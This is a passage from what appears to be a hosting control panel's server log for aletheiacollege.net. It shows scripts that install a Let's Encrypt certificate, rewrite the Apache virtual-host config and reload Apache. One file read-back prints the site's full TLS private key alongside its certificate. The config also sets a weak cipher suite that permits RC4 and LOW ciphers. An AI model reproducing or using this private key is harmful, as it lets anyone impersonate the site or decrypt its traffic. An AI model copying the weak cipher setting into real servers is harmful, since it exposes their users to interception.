Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-08 06:00:36: 

chmod 755 /tmp/pkp632129; /tmp/pkp632129; rm /tmp/pkp632129

2026-07-08 06:00:36: 


dir=/etc/ssl/certs


2026-07-08 06:00:36: 

PUT: /tmp/pkp229424

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-08 06:00:36: 

chmod 755 /tmp/pkp229424; /tmp/pkp229424; rm /tmp/pkp229424

2026-07-08 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-08 06:00:36: 

PUT: /tmp/pkp721255

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi


2026-07-08 06:00:36: 

chmod 755 /tmp/pkp721255; /tmp/pkp721255; rm /tmp/pkp721255

2026-07-08 06:00:36: 




2026-07-08 06:00:36: 

PUT: /tmp/pkp575109

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-08 06:00:36: 

chmod 755 /tmp/pkp575109; /tmp/pkp575109; rm /tmp/pkp575109

2026-07-08 06:00:36: 


.


2026-07-08 06:00:36: Establishing a connection
2026-07-08 06:00:36: 

PUT: /tmp/pkp832289

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-08 06:00:37: 

chmod 755 /tmp/pkp832289; /tmp/pkp832289; rm /tmp/pkp832289

2026-07-08 06:00:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-08 06:00:37: 

PUT: /tmp/pkp269867

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-08 06:00:37: 

chmod 755 /tmp/pkp269867; /tmp/pkp269867; rm /tmp/pkp269867

2026-07-08 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf	1448

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-08 06:00:37: 

PUT: /tmp/pkp801954

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-08 06:00:37: 

chmod 755 /tmp/pkp801954; /tmp/pkp801954; rm /tmp/pkp801954

2026-07-08 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt	7465
2e:93:a2:6b:d2:ce:2b:d8:46:24:92:52:33:53:5b:36

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBddy1vC4TCPqLfq+NpENoVWqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA4MDUwMjA0WhcNMjYxMDA2MDUwMjAzWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzmiyBrJTSAKTGAmXQATd7zST5MG3OZpsMSdLokw5xhhTMkQuNjh6iMG9
uq+26Pf+c1MLdo01Jnag5qfOPoCz2/qYNSX+P/1gcRE0FrKcEumcE+TB682IP6ty
kegfvvfSb6OT7/BFkX7D0QY8jEEfVydReic4mF92z3gM3DcRKQWw596fEVOlA3Bx
D1NF1UTWb/z5b7bUT9/dY8G4bHc917dN8IVpbQavYlsidaOF7gfMgLqL9FwvAlak
3PHyQ4tu+7HaTE2IjkyWPquAH59B2rBSMR9MDio5prU33q44a6SWaE/D7LAXcDA8
m0oPCoB0mR9WspIOjpnqnk1jeD0XkwIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMzy8FTnRO8N+nSpsBMFdg4rR4f8MB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3W
Mh+BDIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy80My5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv
54WHOgAAAZ9AUFhbAAAEAwBIMEYCIQCn0gRYR4dIKcTQlwutuNRJgmXlko9Z3yFC
zOuvFMN0jAIhAJalUhEIFD4t3NQXqdG/DnLtnTCtpMo9GjM+5+zHJmF/AH0AbP5Q
GUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfQFBZIwAIAAAFABQhAZUE
AwBGMEQCICEQIl8r9Nbkuc0viM6GUJXs93eab7+Up0ttoFq0RzozAiAxed3N6c01
bdNeuMcwyXsGVZ6gc2MQW8IdgwMslnakqzANBgkqhkiG9w0BAQsFAAOCAQEAx6Fp
P5pe4Q7+n6Ti2vOCD3SdGjWPRI1exqjSJrXwZAu9OMxNfivigMrtGdFCjuqdlwog
X1XgIkjYUw2/kacurh9pdl4LwKnZ+83sVgs4kAgLM0+n0U1vP6zGL60v77OdTlPR
c4L9kuOwkNuEPt4D7tqdu6edwh9h7PSLkmNguAT2XT0gPyfL9d6F4HdJ96/cIcFe
oa3bWsEgns31HQBe/yo/vvVol29k19bBFupTV5q1kXfwX/1hJ1jWG5Y65w2FZx7+
ScqDiaCfJl4oshayU8exKqQMP6SGOZdNJP2kM42HwPYWzsfMC1VTcilhZaby4LCi
TOhCp9ighZhQhJfegg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDOaLIGslNIApMY
CZdABN3vNJPkwbc5mmwxJ0uiTDnGGFMyRC42OHqIwb26r7bo9/5zUwt2jTUmdqDm
p84+gLPb+pg1Jf4//WBxETQWspwS6ZwT5MHrzYg/q3KR6B++99Jvo5Pv8EWRfsPR
BjyMQR9XJ1F6JziYX3bPeAzcNxEpBbDn3p8RU6UDcHEPU0XVRNZv/PlvttRP391j
wbhsdz3Xt03whWltBq9iWyJ1o4XuB8yAuov0XC8CVqTc8fJDi277sdpMTYiOTJY+
q4Afn0HasFIxH0wOKjmmtTferjhrpJZoT8PssBdwMDybSg8KgHSZH1aykg6Omeqe
TWN4PReTAgMBAAECggEALV7C/wjUmIgEWCzHg8luFSXb+lUAVteUP4uxKtgRfPMc
2ng1JjLs8EGR2EbGcFgOpL/UzbbFP5Kk1H5/LarxngFr0obq55rkx4WuCu0wtFGI
PrEyVQglEkW31c2NqNbleSeeHYgVaqFQHpJ93aB06J3aYXzcilW1km4DeaZbDcZu
fkdAQF9QHAjIA9ngScTCnUcnEtUPtmVXFmufT747OYLPJ/WUgHT8jFtK/yGPLbZC
Ss4a8kWH4CzegeUJUQXSKnN/ri1zNNH7R3YaSdKmAbUEKOAUqe350MSXdXQj66ub
pYCRifFhHBi/5Mr2t/3pyIl80UXTIgKgPG6HocwISQKBgQD7xLWUBLgHA1FBTzDy
xnudfse26uPYN1AMgcYwXo6glNLg0Hl57c4acSztjjYBN7cs+CVc3xiVKThTb+MO
a+vUfY5YUBxYGiVswwk/IFL7e0QyXHf8pSvFAEvU77gEcgRgS6ENc2NThU5qhc45
IkDYDa+s0ntLwzXnoXo8r9zuawKBgQDR4NEe42wmtN9cc3sY0dSmuMoPGUfWTD0n
jBd0Vv23ygEos7y0StCIVh0YhmyCQ4rHVuNTzxrHRGE4/Hgii9GgHw1WCxBr7/OE
jSh5R4Cqs5FNuedo0o0ZWyvC8wVIsMgzCSOy0BO6drl7DLvq5UK3bt1QK/EdYExP
RwXZ2uz1eQKBgQCWmmXP5D69GzPo8FkkcKyTWrpW5g1jUjsVMDAA0R9aWYwHpU11
LVaDpL2uYMpXUh/Fy6517pJC78RczOoyv0Xz9yNGGq3J2eIXPFf0pf5dpq/1vDCe
NaOIFZRHDRqztgx+Gd9+L070MCLnP6FLtfy6AP3cUJAmkuBU7dg0IzLyfwKBgQCs
aN/BXRfCMEFwxBjySaVEFHdAsgbWXyi5rRazZqbkbRhIpGY3QWJPLVaXiA3pcKy3
loQGnBKmcWDgnF3gGzXoMLoW3d3unV5RnFgMURW8pOiPjlEwRg7NLp0jd9n2XesI
KdDempoqSk+SauKQUydcYsGBk6dt92aYlYKT9YlFGQKBgQCNDZ8zF6Rk9QVn+99X
5ASi018Az3rpXFu2iAsdmVDhC3+HeDz1f5wE4bLJmDiFpPUkK60o7j0zvIVoib0j
GtWaILDeDY0ppZc3cF1amZU86jTW/4uPF1ADmVota2YA8/K7OVo5eICVjITOJOgq
jux1csgktOsIGjxGLhVsPaLriQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
